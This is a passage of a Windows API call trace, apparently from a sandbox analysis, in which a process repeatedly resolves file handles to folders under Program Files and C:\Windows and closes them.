returned 0xe [0091.307] CloseHandle (hObject=0x138) returned 1 [0091.307] GetFileType (hFile=0xf0) returned 0x1 [0091.308] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Common Files") returned 0x21 [0091.309] CloseHandle (hObject=0xf0) returned 1 [0091.309] GetFileType (hFile=0x138) returned 0x1 [0091.309] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.310] CloseHandle (hObject=0x138) returned 1 [0091.310] GetFileType (hFile=0xf0) returned 0x1 [0091.311] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned 0x34 [0091.312] CloseHandle (hObject=0xf0) returned 1 [0091.312] GetFileType (hFile=0x138) returned 0x1 [0091.312] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.313] CloseHandle (hObject=0x138) returned 1 [0091.313] GetFileType (hFile=0xf0) returned 0x1 [0091.313] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Portable Devices") returned 0x33 [0091.314] CloseHandle (hObject=0xf0) returned 1 [0091.315] GetFileType (hFile=0x138) returned 0x1 [0091.315] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.316] CloseHandle (hObject=0x138) returned 1 [0091.316] GetFileType (hFile=0xf0) returned 0x1 [0091.316] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Common Files") returned 0x27 [0091.317] CloseHandle (hObject=0xf0) returned 1 [0091.317] GetFileType (hFile=0x138) returned 0x1 [0091.318] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.319] CloseHandle (hObject=0x138) returned 1 [0091.319] GetFileType (hFile=0xf0) returned 0x1 [0091.320] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0091.321] CloseHandle (hObject=0xf0) returned 1 [0091.321] GetFileType (hFile=0x138) returned 0x1 [0091.321] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.322] CloseHandle (hObject=0x138) returned 1 [0091.322] GetFileType (hFile=0xf0) returned 0x1 [0091.322] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft SQL Server Compact Edition") returned 0x39 [0091.323] CloseHandle (hObject=0xf0) returned 1 [0091.324] GetFileType (hFile=0x138) returned 0x1 [0091.324] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.325] CloseHandle (hObject=0x138) returned 1 [0091.325] GetFileType (hFile=0xf0) returned 0x1 [0091.325] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0091.326] CloseHandle (hObject=0xf0) returned 1 [0091.326] GetFileType (hFile=0x138) returned 0x1 [0091.327] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.328] CloseHandle (hObject=0x138) returned 1 [0091.328] GetFileType (hFile=0xf0) returned 0x1 [0091.328] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Office") returned 0x2b [0091.329] CloseHandle (hObject=0xf0) returned 1 [0091.330] GetFileType (hFile=0x138) returned 0x1 [0091.330] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.331] CloseHandle (hObject=0x138) returned 1 [0091.331] GetFileType (hFile=0xf0) returned 0x1 [0091.331] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\MSBuild") returned 0x1c [0091.332] CloseHandle (hObject=0xf0) returned 1 [0091.332] GetFileType (hFile=0x138) returned 0x1 [0091.332] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.334] CloseHandle (hObject=0x138) returned 1 [0091.334] GetFileType (hFile=0xf0) returned 0x1 [0091.334] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Synchronization Services") returned 0x37 [0091.335] CloseHandle (hObject=0xf0) returned 1 [0091.335] GetFileType (hFile=0x138) returned 0x1 [0091.336] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.337] CloseHandle (hObject=0x138) returned 1 [0091.337] GetFileType (hFile=0xf0) returned 0x1 [0091.337] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\MSBuild") returned 0x22 [0091.338] CloseHandle (hObject=0xf0) returned 1 [0091.338] GetFileType (hFile=0x138) returned 0x1 [0091.338] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.339] CloseHandle (hObject=0x138) returned 1 [0091.339] GetFileType (hFile=0xf0) returned 0x1 [0091.339] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft.NET") returned 0x28 [0091.340] CloseHandle (hObject=0xf0) returned 1 [0091.340] GetFileType (hFile=0x138) returned 0x1 [0091.341] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.342] CloseHandle (hObject=0x138) returned 1 [0091.342] GetFileType (hFile=0xf0) returned 0x1 [0091.342] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Portable Devices") returned 0x2d [0091.343] CloseHandle (hObject=0xf0) returned 1 [0091.343] GetFileType (hFile=0x138) returned 0x1 [0091.343] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.344] CloseHandle (hObject=0x138) returned 1 [0091.344] GetFileType (hFile=0xf0) returned 0x1 [0091.344] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Defender") returned 0x2b [0091.345] CloseHandle (hObject=0xf0) returned 1 [0091.345] GetFileType (hFile=0x138) returned 0x1 [0091.345] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.346] CloseHandle (hObject=0x138) returned 1 [0091.347] GetFileType (hFile=0xf0) returned 0x1 [0091.347] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Firefox") returned 0x2a [0091.347] CloseHandle (hObject=0xf0) returned 1 [0091.348] GetFileType (hFile=0x138) returned 0x1 [0091.348] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.349] CloseHandle (hObject=0x138) returned 1 [0091.349] GetFileType (hFile=0xf0) returned 0x1 [0091.349] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\MSBuild") returned 0x1c [0091.351] CloseHandle (hObject=0xf0) returned 1 [0091.351] GetFileType (hFile=0x138) returned 0x1 [0091.351] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.352] CloseHandle (hObject=0x138) returned 1 [0091.353] GetFileType (hFile=0xf0) returned 0x1 [0091.353] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Defender") returned 0x2b [0091.354] CloseHandle (hObject=0xf0) returned 1 [0091.354] GetFileType (hFile=0x138) returned 0x1 [0091.354] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.355] CloseHandle (hObject=0x138) returned 1 [0091.355] GetFileType (hFile=0xf0) returned 0x1 [0091.355] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0091.356] CloseHandle (hObject=0xf0) returned 1 [0091.357] GetFileType (hFile=0x138) returned 0x1 [0091.357] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.358] CloseHandle (hObject=0x138) returned 1 [0091.358] GetFileType (hFile=0xf0) returned 0x1 [0091.358] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer") returned 0x2f [0091.359] CloseHandle (hObject=0xf0) returned 1 [0091.359] GetFileType (hFile=0x138) returned 0x1 [0091.359] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.360] CloseHandle (hObject=0x138) returned 1 [0091.361] GetFileType (hFile=0xf0) returned 0x1 [0091.361] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Defender") returned 0x2b [0091.362] CloseHandle (hObject=0xf0) returned 1 [0091.362] GetFileType (hFile=0x138) returned 0x1 [0091.362] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.363] CloseHandle (hObject=0x138) returned 1 [0091.363] GetFileType (hFile=0xf0) returned 0x1 [0091.363] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Office") returned 0x2b [0091.364] CloseHandle (hObject=0xf0) returned 1 [0091.365] GetFileType (hFile=0x138) returned 0x1 [0091.365] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.366] CloseHandle (hObject=0x138) returned 1 [0091.366] GetFileType (hFile=0xf0) returned 0x1 [0091.366] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Office") returned 0x2b [0091.367] CloseHandle (hObject=0xf0) returned 1 [0091.368] GetFileType (hFile=0x138) returned 0x1 [0091.368] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.369] CloseHandle (hObject=0x138) returned 1 [0091.369] GetFileType (hFile=0xf0) returned 0x1 [0091.369] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Media Player") returned 0x29 [0091.370] CloseHandle (hObject=0xf0) returned 1 [0091.370] GetFileType (hFile=0x138) returned 0x1 [0091.370] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.372] CloseHandle (hObject=0x138) returned 1 [0091.372] GetFileType (hFile=0xf0) returned 0x1 [0091.372] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0091.373] CloseHandle (hObject=0xf0) returned 1 [0091.373] GetFileType (hFile=0x138) returned 0x1 [0091.373] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.374] CloseHandle (hObject=0x138) returned 1 [0091.375] GetFileType (hFile=0xf0) returned 0x1 [0091.375] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0091.376] CloseHandle (hObject=0xf0) returned 1 [0091.376] GetFileType (hFile=0x138) returned 0x1 [0091.376] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.377] CloseHandle (hObject=0x138) returned 1 [0091.378] GetFileType (hFile=0xf0) returned 0x1 [0091.378] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft.NET") returned 0x28 [0091.379] CloseHandle (hObject=0xf0) returned 1 [0091.379] GetFileType (hFile=0x138) returned 0x1 [0091.379] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.380] CloseHandle (hObject=0x138) returned 1 [0091.380] GetFileType (hFile=0xf0) returned 0x1 [0091.380] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0091.381] CloseHandle (hObject=0xf0) returned 1 [0091.382] GetFileType (hFile=0x138) returned 0x1 [0091.382] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.384] CloseHandle (hObject=0x138) returned 1 [0091.384] GetFileType (hFile=0xf0) returned 0x1 [0091.384] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Maintenance Service") returned 0x36 [0091.385] CloseHandle (hObject=0xf0) returned 1 [0091.385] GetFileType (hFile=0x138) returned 0x1 [0091.385] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.386] CloseHandle (hObject=0x138) returned 1 [0091.386] GetFileType (hFile=0xf0) returned 0x1 [0091.386] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\MSBuild") returned 0x22 [0091.388] CloseHandle (hObject=0xf0) returned 1 [0091.388] GetFileType (hFile=0x138) returned 0x1 [0091.388] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.389] CloseHandle (hObject=0x138) returned 1 [0091.390] GetFileType (hFile=0xf0) returned 0x1 [0091.390] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Synchronization Services") returned 0x37 [0091.391] CloseHandle (hObject=0xf0) returned 1 [0091.391] GetFileType (hFile=0x138) returned 0x1 [0091.391] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.392] CloseHandle (hObject=0x138) returned 1 [0091.393] GetFileType (hFile=0xf0) returned 0x1 [0091.393] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0091.393] CloseHandle (hObject=0xf0) returned 1 [0091.394] GetFileType (hFile=0x138) returned 0x1 [0091.394] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.395] CloseHandle (hObject=0x138) returned 1 [0091.395] GetFileType (hFile=0xf0) returned 0x1 [0091.395] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft SQL Server Compact Edition") returned 0x39 [0091.396] CloseHandle (hObject=0xf0) returned 1 [0091.396] GetFileType (hFile=0x138) returned 0x1 [0091.397] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.398] CloseHandle (hObject=0x138) returned 1 [0091.398] GetFileType (hFile=0xf0) returned 0x1 [0091.398] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0091.399] CloseHandle (hObject=0xf0) returned 1 [0091.399] GetFileType (hFile=0x138) returned 0x1 [0091.399] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.400] CloseHandle (hObject=0x138) returned 1 [0091.400] GetFileType (hFile=0xf0) returned 0x1 [0091.401] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0091.401] CloseHandle (hObject=0xf0) returned 1 [0091.402] GetFileType (hFile=0x138) returned 0x1 [0091.402] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.403] CloseHandle (hObject=0x138) returned 1 [0091.403] GetFileType (hFile=0xf0) returned 0x1 [0091.403] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies") returned 0x2f [0091.404] CloseHandle (hObject=0xf0) returned 1 [0091.404] GetFileType (hFile=0x138) returned 0x1 [0091.405] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.406] CloseHandle (hObject=0x138) returned 1 [0091.406] GetFileType (hFile=0xf0) returned 0x1 [0091.406] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Maintenance Service") returned 0x36 [0091.407] CloseHandle (hObject=0xf0) returned 1 [0091.407] GetFileType (hFile=0x138) returned 0x1 [0091.407] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.409] CloseHandle (hObject=0x138) returned 1 [0091.409] GetFileType (hFile=0xf0) returned 0x1 [0091.409] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Adobe") returned 0x20 [0091.410] CloseHandle (hObject=0xf0) returned 1 [0091.410] GetFileType (hFile=0x138) returned 0x1 [0091.411] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.412] CloseHandle (hObject=0x138) returned 1 [0091.412] GetFileType (hFile=0xf0) returned 0x1 [0091.412] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0091.414] CloseHandle (hObject=0xf0) returned 1 [0091.414] GetFileType (hFile=0x138) returned 0x1 [0091.415] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.416] CloseHandle (hObject=0x138) returned 1 [0091.416] GetFileType (hFile=0xf0) returned 0x1 [0091.416] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Common Files") returned 0x21 [0091.417] CloseHandle (hObject=0xf0) returned 1 [0091.417] GetFileType (hFile=0x138) returned 0x1 [0091.417] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.418] CloseHandle (hObject=0x138) returned 1 [0091.419] GetFileType (hFile=0xf0) returned 0x1 [0091.419] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0091.420] CloseHandle (hObject=0xf0) returned 1 [0091.420] GetFileType (hFile=0x138) returned 0x1 [0091.420] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.421] CloseHandle (hObject=0x138) returned 1 [0091.421] GetFileType (hFile=0xf0) returned 0x1 [0091.421] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft SQL Server Compact Edition") returned 0x39 [0091.422] CloseHandle (hObject=0xf0) returned 1 [0091.422] GetFileType (hFile=0x138) returned 0x1 [0091.422] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.424] CloseHandle (hObject=0x138) returned 1 [0091.424] GetFileType (hFile=0xf0) returned 0x1 [0091.424] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Media Player") returned 0x29 [0091.425] CloseHandle (hObject=0xf0) returned 1 [0091.425] GetFileType (hFile=0x138) returned 0x1 [0091.425] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.426] CloseHandle (hObject=0x138) returned 1 [0091.426] GetFileType (hFile=0xf0) returned 0x1 [0091.427] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0091.427] CloseHandle (hObject=0xf0) returned 1 [0091.428] GetFileType (hFile=0x138) returned 0x1 [0091.428] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.429] CloseHandle (hObject=0x138) returned 1 [0091.429] GetFileType (hFile=0xf0) returned 0x1 [0091.429] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0091.430] CloseHandle (hObject=0xf0) returned 1 [0091.430] GetFileType (hFile=0x138) returned 0x1 [0091.431] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.432] CloseHandle (hObject=0x138) returned 1 [0091.432] GetFileType (hFile=0xf0) returned 0x1 [0091.432] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer") returned 0x2f [0091.433] CloseHandle (hObject=0xf0) returned 1 [0091.433] GetFileType (hFile=0x138) returned 0x1 [0091.433] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.435] CloseHandle (hObject=0x138) returned 1 [0091.435] GetFileType (hFile=0xf0) returned 0x1 [0091.435] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Portable Devices") returned 0x33 [0091.436] CloseHandle (hObject=0xf0) returned 1 [0091.436] GetFileType (hFile=0x138) returned 0x1 [0091.436] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.437] CloseHandle (hObject=0x138) returned 1 [0091.438] GetFileType (hFile=0xf0) returned 0x1 [0091.438] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Defender") returned 0x2b [0091.439] CloseHandle (hObject=0xf0) returned 1 